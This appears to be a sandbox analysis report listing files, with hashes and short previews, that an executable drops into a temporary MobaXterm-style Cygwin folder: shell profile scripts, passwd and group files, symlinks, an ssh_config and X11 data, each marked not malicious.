Preview:	[ -e "/bin/busybox.exe" ] && _box="/bin/busybox.exe" \|\| _box="/bin/toybox.exe".._fpac() {. toinst="". MyProg="$1". MyProg="${MyProg/\.exe/}". MyProg="${MyProg##/}". MyProg="${MyProg//+/\\+}". if [ -e "/etc/setup/cmdlist" ]; then. toinst="`$_box grep -E "^${MyProg}: " /etc/setup/cmdlist \| $_box head -1`". toinst="${toinst%%:}". if [ "$toinst" = "" ]; then. toinst="`$_box grep -E " ${MyProg} \| ${MyProg}\$" /etc/setup/cmdlist \| (while read i; do builtin echo -n " ${i%%:}"; done)`". toinst="${toinst:1:3600}". fi. fi. if [ "$toinst" = "" ] && [ "$2" = "" ]; then toinst="$1"; fi. builtin echo "$toinst".}.._tob() {. if [ -e "/bin/$1.exe" ]; then. _p="/bin/$1.exe". shift. if [ "$_p" = "/bin/grep.exe" ]; then. "$_p" --colour "$@". else. "$_p" "$@". fi. elif [ -e "/bin/$1" ]; then. _p="/bin/$1". shift. "$_p" "$@". else. if [ -e "/bin/busybox.exe" ]; then. tbcmd="\n`/bin/busybox.exe --list`\n". if [ "${tbcmd#.$1.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\fstab

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.454669468786948
Encrypted:	false
SSDEEP:	6:jpsKEIPl7Fdefis3y2eaIgydNe8EIPl7FNufis3y2eaIgyiO8EIPl7FN/:laIRAisC2eDgyd4IBQisC2eDgyBIB/
MD5:	11E9136CA05D6F4EF3D990F6ADB72B11
SHA1:	F2F50F5C196A27C94E6ECD46451E6618977DEAD8
SHA-256:	1888AABC21BCBA77D588FB46029F33DF83EE4AF5BC0FB40D788B31B1F458BB2D
SHA-512:	97E11C20E897E912B932177AC9921F22AC0A39F914D6B70256D26006EDDFBDB1F55F9188171F16062B68167640B234FFBDA76FAF2AA9549C1794A38D38EDB110
Malicious:	false
Preview:	none /drives cygdrive binary,auto,user,posix=0 0 0.C:/Users/user/AppData/Local/Temp/Mxt242/tmp/HOME_B~1 /home/mobaxterm ntfs binary,auto,user,posix=0 0 0.C:/Users/user/AppData/Local/Temp/Mxt242/tmp/HOME_B~1 /home/user ntfs binary,auto,user,posix=0 0 0.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\group

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	4.8635984749007735
Encrypted:	false
SSDEEP:	12:S+lADIHfcdDISSqiDIPGDI32yeDIUowDImDIH9lCaDI5kqdDIHCIztxDIWGywuTP:S+iDgUdDtxiD1D7yeDHowDJDg9lCaDce
MD5:	1D2739E2ED745E390E70A7346C8B79F5
SHA1:	BE3CD250140580A1E75F97FBB24E8342E9A37C12
SHA-256:	8376A72435DE93E279BC7744057AA9BCA3FDBCD09BD3BD72F26CDB7470299594
SHA-512:	32931718A98845677369C8170E5040A48295BEB373E1F0B119B4DCB0FA320EFF6F64B6A2001492AF6977CE5B4B8920DEB8003DE5F9F293291F624C6B91B4E3C9
Malicious:	false
Preview:	Access Control Assistance Operators:S-1-5-32-579:579:.Administrators:S-1-5-32-544:544:.Backup Operators:S-1-5-32-551:551:.Cryptographic Operators:S-1-5-32-569:569:.Device Owners:S-1-5-32-583:583:.Distributed COM Users:S-1-5-32-562:562:.Event Log Readers:S-1-5-32-573:573:.Guests:S-1-5-32-546:546:.Hyper-V Administrators:S-1-5-32-578:578:.IIS_IUSRS:S-1-5-32-568:568:.Network Configuration Operators:S-1-5-32-556:556:.Performance Log Users:S-1-5-32-559:559:.Performance Monitor Users:S-1-5-32-558:558:.Power Users:S-1-5-32-547:547:.Remote Desktop Users:S-1-5-32-555:555:.Remote Management Users:S-1-5-32-580:580:.Replicator:S-1-5-32-552:552:.System Managed Accounts Group:S-1-5-32-581:581:.Users:S-1-5-32-545:545:.UsersGrp:S-1-5-32-513:513:.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\hosts

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.36067690958766
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTp0y:wbNBQSExcTr
MD5:	D530F08241C195B35BA830B000FA301E
SHA1:	29A1DC23ECB4D8E8FF6AB9C67D8068F27A3E23DE
SHA-256:	30DBDF365A0FFFFF93F66DE7B8DF5F110F3526A1133670B2716CB562FB64C808
SHA-512:	B62B239C268D655BF84CA955F0C5F6925EB5BF024B734F860EC5168302A380A0DC0C31391946657F2BCE3F9F3F3B92CF918C0B2980783781599FD498A72D651A
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/hosts...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\ftp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\http

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\nfs

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\ssh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\telnet

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\tftp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\init.d\vnc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.253434386188784
Encrypted:	false
SSDEEP:	3:wb4uHMLKWGXy4Govn:wbNHMLKhy4Gyn
MD5:	2A2FCE224C91755D043CFD460CB7EBC2
SHA1:	7A8040F83EC551B10E89750C0A679C1F688958A7
SHA-256:	CAABB53C134A5727836D7669AB5063AFAECD37E1225F5F3A6810AEF441BAFF20
SHA-512:	A41315EA95B0A1A497A351B1A5FFC3FB10CA8E18231E0933A315EA953007EA2685DF1C4B59C57120BE65908569A9939CFB699318265BF402AC7A4E0B8DF73CAB
Malicious:	false
Preview:	!<symlink>/bin/scrdaemons...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\networks

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.353936064112957
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpyry:wbNBQSExcTd
MD5:	8A2F511CC9A61173641FD97B6B6BE497
SHA1:	7693939CCB13D58E02FCF42F2DA2D9DF369DDB43
SHA-256:	0A94656EEF2E1646A2085440F50D5FFD38F8739F768D76D495BC091EF3BE1DB4
SHA-512:	815680A384355EEA31F53A0E2F1104F7A8BC604358CA563D7F27B186FC2F97EB65D4762657D99B31A7EF5EEEBDCCC3D819B282A8B59303BBC07006FE4C7FF24E
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/networks...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\nsswitch.conf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.548366413692903
Encrypted:	false
SSDEEP:	3:S17SDfPpFczcJS55meF4vHS/FKq+8D4:S17SjP4zb5bFiHB
MD5:	5A76145CB2E0BD7CABAC55C6E941F3F7
SHA1:	141A4BB951AC1FD03DFF15540F4252D1B77DFFB8
SHA-256:	C83DC30523FEDB6298ABE4A492EC03CE74B3EDF1679A69F23B6B901620925B1B
SHA-512:	251B34E202BAFC6B6E99A03A0ABB9CA4AD4F6C292C9B6E4A63E940CD698C42699E04B9789E9B43959DF42BA4E602F13B38EFDF7EE3B5736E9AA0F1101F88E445
Malicious:	false
Preview:	# /etc/nsswitch.conf.passwd: files.group: files.db_home: /home/%U.db_shell: /bin/bash.db_gecos:.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\passwd

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	796
Entropy (8bit):	5.213968986826991
Encrypted:	false
SSDEEP:	24:vx0hxSBhXXTMtVwqSHnhXJfHE0zHXomHGcTvDeWHq:Ch+hHIoFHjfHVHXvHHvyWHq
MD5:	10BA2CDB671BFF433F71A8173709112F
SHA1:	C3274EB125F818DEECAD39AE7819D1E4A49B1ABA
SHA-256:	6BB8F03636BFB841B8E9F95CA527243C20378655CF95AC83BFEED601638B036A
SHA-512:	845B3901686002622DB44D2EFEB3F2B2A9B0BE0259DCD007848085471F41D16DD28527401618B1B05018B8A8910C0F443E3D61B1172F0A5E83D2470D1E8FEEEE
Malicious:	false
Preview:	SYSTEM::18:544:,S-1-5-18::.LocalService::19:544:U-NT AUTHORITY\LocalService,S-1-5-19::.NetworkService::20:544:U-NT AUTHORITY\NetworkService,S-1-5-20::.Administrators::544:544:,S-1-5-32-544::.Administrator:unused:500:513:U-562258\Administrator,S-1-5-21-2246122658-3693405117-2476756634-500:/home/mobaxterm:/bin/bash.DefaultAccount:unused:503:513:U-562258\DefaultAccount,S-1-5-21-2246122658-3693405117-2476756634-503:/home/mobaxterm:/bin/bash.Guest:unused:501:513:U-562258\Guest,S-1-5-21-2246122658-3693405117-2476756634-501:/home/mobaxterm:/bin/bash.WDAGUtilityAccount:unused:504:513:U-562258\WDAGUtilityAccount,S-1-5-21-2246122658-3693405117-2476756634-504:/home/mobaxterm:/bin/bash.user:unused:1003:513:U-user-PC\user,S-1-5-21-2246122658-3693405117-2476756634-1003:/home/mobaxterm:/bin/bash.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\profile

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text, with very long lines (330)
Category:	dropped
Size (bytes):	15466
Entropy (8bit):	5.409828762139547
Encrypted:	false
SSDEEP:	192:OylyIZqc9Qho1R9SnIiPWiWTRcX0qh4Uf4jqx7EwqvaezeQYeuu91rdblamJaMFA:Oy30c9HR9SDW9CeGGaezeQYeBY2gyeH
MD5:	BBDFAFB00968DEE2563AB24DF2D31438
SHA1:	9C2BB22A23DC60893A56CC5E6ECD90EC8F206E37
SHA-256:	5A2D609F96C817B161E49078A6138C5191912E17493FF1D0971B34D8F20CC464
SHA-512:	EFE9DB751EBA28377E9F3DF63EACF13FA1BCC35E3D09AA9D52EDAEFECA5163270F849EF1FC8E5BC2D66B063F917190B4E4CA2E95F0792FAE880C0EF2D1ACE497
Malicious:	false
Preview:	[ "$SHELL" = "/bin/zsh.exe" ] \|\| SHELL="/bin/bash.exe"._tob() {. [ -e "/bin/busybox.exe" ] && /bin/busybox.exe "$@" \|\| /bin/toybox.exe "$@".}.unset MAILCHECK.export EXECIGNORE=".dll".builtin ulimit -c 0.[ -d "/home/mobaxterm/" ] \|\| _tob mkdir -p /home/mobaxterm.[ -d "/home/$USERNAME/" ] \|\| _tob ln -sf /home/mobaxterm "/home/$USERNAME" 2>/dev/null.[ -n "$MOBASTARTUPDIR" ] && cd "${MOBASTARTUPDIR}" 2>/dev/null \|\| cd "/home/mobaxterm" 2>/dev/null..PATH="/usr/bin:/bin:$PATH".HOME="/home/mobaxterm".TEMP="/tmp".TMP="/tmp".export LIBGL_ALWAYS_INDIRECT=1.[ -z "$VERSION" ] && VERSION="24.2".[ -z "$DISPLAY" ] && DISPLAY="127.0.0.1:0".if [ "$SHELL" = "/bin/zsh.exe" ]; then. setopt PROMPT_SUBST. NP=0. if [ "$PROMPT_TYPE" = "rxvt" ]; then. PS1='.%B%F{y}[%D %]%f%b%F{def} %F{m}%~%F{def}.%F{c}[%n.%m]%F{def} > '. elif [ "$PROMPT_TYPE" = "1" ]; then. PS1='.%B%F{y}[%D %*]%f%b%F{def} %F{m}%~%F{def}.%F{c}[%n.%m]%F{def} . '. precmd() {. builtin print -Pn "\e]0;$PWD\a". }. else.

C:\Users\user\AppData\Local\Temp\Mxt242\etc\protocol

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.429040021224234
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpLdJ8:wbNBQSExcT18
MD5:	585EACD0B573B216697F9BC03628211E
SHA1:	087E256E33A00E4177F86A3767CC60F8F537549B
SHA-256:	61534F6F2AD41E12438D95A09D491F3054EFCA119A7B4C978DCC976C998FCFC9
SHA-512:	FC1BF8AF6856FFA52D392E2867E153E42FD357C3FD8F6031A8718724BAB118B0065E6BFAA5578167137F73A6641E0D18780A47CCF98E177D4B9F25B281A9928B
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/protocol...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\services

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.268879346650286
Encrypted:	false
SSDEEP:	3:wb4uBxmiASEcopcTpwGJyn:wbNBQSExcTiGYn
MD5:	DDDA10EF65B2681277F73FDFDA58D08E
SHA1:	89A4CBA3DED90896FEF2A089A2B2DFB712D1AA5B
SHA-256:	0AF9DD2A642ED44DBF913D58C07DBDA12705540CB7DC2D4B4B9E7CE276D5648A
SHA-512:	C35017BF4B7D14053457CF91261252B5BCDC5970771F835B598BD1687EAF2E08C4BC758660C40A7B33436E6C873A7D432D81055BF975961A70195C66E172475D
Malicious:	false
Preview:	!<symlink>/drives/C/Windows/system32/drivers/etc/services...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\ssh_config

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	247
Entropy (8bit):	4.759275783235445
Encrypted:	false
SSDEEP:	6:+XK6+GbK5QES3TAj+RSKXUWU3XR3+IXRyuSKWvcAsvygiZx0:XPL5QzTXJWjoXv5UiP0
MD5:	4639B9E7359EEEFD6970573E3EE82815
SHA1:	BEF7585684CC364B0CEC122AC8521EC2AC40A0C1
SHA-256:	F473BC8B622A0E4DF0E460E7A6C792E42150509116DC7EA0F9A375F1E6F69B8A
SHA-512:	2CF71C84F5499A06610B111D7D7CA2D953FC6733883DEDE72F0941513636F781C300FA298F57788173255D58C267DF4FC67FA0B27595D1C070ACDB6D34E7219E
Malicious:	false
Preview:	User "user".ForwardAgent no.Compression yes.PreferredAuthentications hostbased,publickey,password,keyboard-interactive.ForwardX11 yes.ForwardX11Trusted yes.NoHostAuthenticationForLocalhost yes.StrictHostKeyChecking no.CheckHostIP no.UseRoaming no.

C:\Users\user\AppData\Local\Temp\Mxt242\media

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\mnt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\registry

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	4.2824842613426
Encrypted:	false
SSDEEP:	3:wb4uVrCXv:wbNVa
MD5:	12DCC755A41FFE9983DFC47E545B132D
SHA1:	37A32E2033A409A4F1A3A2D3443131B848FA7C73
SHA-256:	8D7D8B8FDEC94104B0EE6A90665106B02A8ECC705EAF33DAA91FC83AEDD7CF18
SHA-512:	C2E2FCC84BBA1F0A38C28330130D2C1C6DE2CC254C083CA6311286E7D14186D8FA73825F3E420E019F43DE4EA608FC6358A984F7CF8777DA2DAAF88BA5911DD0
Malicious:	false
Preview:	!<symlink>/proc/registry...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\Desktop

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.311744137415566
Encrypted:	false
SSDEEP:	3:wb4uBxmpHaOrJzlovn:wbNB+NJovn
MD5:	4A0F262B5877F4D8252A01DBAD7ACA2C
SHA1:	DCE5603DF9D3A007C5C54087FE6EDC80B9A64E41
SHA-256:	4BE1CB0E8153D5FD6A0B88E676395BC159A1B25FCC1B6EB941656EA34E8890F7
SHA-512:	B4EF4EEC71D7F9F5607FB5F159F8F9E3E1C902DC2989753F9926629BF3351D32E1A15A4D1EE2A1CB7C3734DD7A9A03D4FA89A997C5108D14B13E0D670D6772DC
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/Desktop/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\LauncherFolder

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.311744137415566
Encrypted:	false
SSDEEP:	3:wb4uBxmpHaOrJzlovn:wbNB+NJovn
MD5:	4A0F262B5877F4D8252A01DBAD7ACA2C
SHA1:	DCE5603DF9D3A007C5C54087FE6EDC80B9A64E41
SHA-256:	4BE1CB0E8153D5FD6A0B88E676395BC159A1B25FCC1B6EB941656EA34E8890F7
SHA-512:	B4EF4EEC71D7F9F5607FB5F159F8F9E3E1C902DC2989753F9926629BF3351D32E1A15A4D1EE2A1CB7C3734DD7A9A03D4FA89A997C5108D14B13E0D670D6772DC
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/Desktop/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\MyDocuments

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.536388882458135
Encrypted:	false
SSDEEP:	3:wb4uBxmpHaOBd/8:wbNB+zk
MD5:	D12D9CCF89C7AD2A95CAB2BF91BB280C
SHA1:	C75B789460F2090A90294FEF2AD522B629AA7B1F
SHA-256:	C1C2A110042FB45A88445E05EFE1EA5645E41E5D19503E651A454D76CD05D821
SHA-512:	0D22971F30CD12BEB64AF8FB5E5210235210F207146ED13EDC41CD0D6C48CED5682BECB8D06FFD21B41A59901D93F5628AB3F8384689BA2EAB8EC34E7C8DD9E9
Malicious:	false
Preview:	!<symlink>/drives/C/Users/user/DOCUME~1/...

C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	394
Entropy (8bit):	4.529593138223109
Encrypted:	false
SSDEEP:	12:9vigthuBMqQtlLuycIon+rhjMQMeQ+onA0y3AjQ5SwsF+tdFYue3:9hthuBMnrcdnuMEQvno15SwsF+vWua
MD5:	732DFED0844542EE1290B22415F2B8F3
SHA1:	6DB086C81B5D0ABBA52D3400B0225CE66B29B0EA
SHA-256:	E9383C3D714D75D615EA33C3B8095770F1DDDB408E175E604DE38E9673AC4100
SHA-512:	6EFE87F4A3E82587A31076C5B5E6CED9E1C6D8C4C29E9DDE1B8F936776E6FF3C7D4172DB95F3BFDDCF058A0C28A4A43CCF11114A031762CE4BCFDAE8BBC9147A
Malicious:	false
Preview:	.WARNING:..You should not store anything in MobaXterm HOME directory (/home/mobaxterm): with your current settings, this folder is not "persistent", so it will be cleared at each MobaXterm restart...If you want to set a "persistent" HOME directory which will not be cleared at each MobaXterm startup, go to MobaXterm settings window and choose a folder in which to store MobaXterm home files...

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XErrorDB

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	41481
Entropy (8bit):	5.31576952669458
Encrypted:	false
SSDEEP:	768:rIa22o9Y77ZD+ex7bNYurHShc/ZWWdhwlpqanKKC9y7nCGfQMhdBiiQZ26+Aq1D7:Ea22o9Y77ZD+wnNYurHShc/ZWWdhwlpt
MD5:	326B99AE864C3F8AD09C9AA9E3ED209C
SHA1:	FF217B8135C93D76A5D6FEA8B48F6F42EB6D963B
SHA-256:	6A7422B42EB4566FE40AF67DEF1EADABD74438C18680373F76C0DFE198994106
SHA-512:	0D682172D7AD729CE41777051BC7B50EFAF579D88F5A1BA2C18B2A9632B262EFBAAB0DA4A36E8FF9E6FA62F9E6C0BDE64C365CBA0167DAC4D12097B06437BB60
Malicious:	false
Preview:	! $Xorg: XErrorDB,v 1.3 2000/08/17 19:44:59 cpqbld Exp $.! $XdotOrg: lib/X11/src/XErrorDB,v 1.4 2005-10-21 18:44:24 ajax Exp $.!.! Copyright 1993, 1995, 1998 The Open Group..! Permission to use, copy, modify, distribute, and sell this software and its.! documentation for any purpose is hereby granted without fee, provided that.! the above copyright notice appear in all copies and that both that.! copyright notice and this permission notice appear in supporting.! documentation..! .! The above copyright notice and this permission notice shall be.! included in all copies or substantial portions of the Software..! .! THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.! EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.! MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..! IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.! OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.! ARISING FROM, OUT OF OR IN

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9011
Entropy (8bit):	5.136192789396624
Encrypted:	false
SSDEEP:	192:zO+YPEK/hQEyPoy4jp58rq5eqYNzbSdgKhRWBh3JtT0kSyv:asy8rOYNzePRuJ0na
MD5:	CF92D0BED547B5F2301173295272BC1B
SHA1:	9DF6615F30370B2B069657E56BB6AE82A20D825D
SHA-256:	E73840741194F43ACE019DBA640BCA84AF668F412701B77C2D4E4592A2FF2554
SHA-512:	D38E1B007D7261851B7440751603DBD15BBFE13ABFC28FDD76A09678923A4F21A05AFF777FDA628267C7EBB33527D11BB841C9633BE9027D19D9F75CEF8B7BE3
Malicious:	false
Preview:	! $Xorg: XKeysymDB,v 1.3 2000/08/17 19:45:04 cpqbld Exp $.! Copyright 1993 Massachusetts Institute of Technology.!.! Permission to use, copy, modify, distribute, and sell this software and.! its documentation for any purpose is hereby granted without fee, provided.! that the above copyright notice appear in all copies and that both that.! copyright notice and this permission notice appear in supporting.! documentation, and that the name of M.I.T. not be used in advertising or.! publicity pertaining to distribution of the software without specific,.! written prior permission. M.I.T. makes no representations about the.! suitability of this software for any purpose. It is provided "as is".! without express or implied warranty..!.! $XFree86: xc/lib/X11/XKeysymDB,v 3.16 2003/02/11 02:51:10 dawes Exp $..hpmute_acute..:100000A8.hpmute_grave..:100000A9.hpmute_asciicircum.:100000AA.hpmute_diaeresis.:100000AB.hpmute_asciitilde.:100000AC.hplira...:100000AF.hpguilder..:100000BE.hpYdiaeresis..:10

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\default.xkm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	11024
Entropy (8bit):	4.757819671685395
Encrypted:	false
SSDEEP:	192:JD29sY96vQW5Ff5aSLusnVcqoRceCQ1+JdDx0s2T:JD26vTFfcS62wRKMJ
MD5:	DC7C38FAA9B2FFD642F451957A799997
SHA1:	F1841B83B346A682B57A4B8EE066315E976134DB
SHA-256:	5AF454AF48C65B49998A7D0EBDB051924F819F375B7952DEC7E79872553CD033
SHA-512:	D908598B3744CBBCF184D2A715F5D52B0F2412E563AE7F9AB648953DF2C425D72B74463A2C544BC06517D864BC4976BCFA856324EC51D0F26217A12757D51E47
Malicious:	false
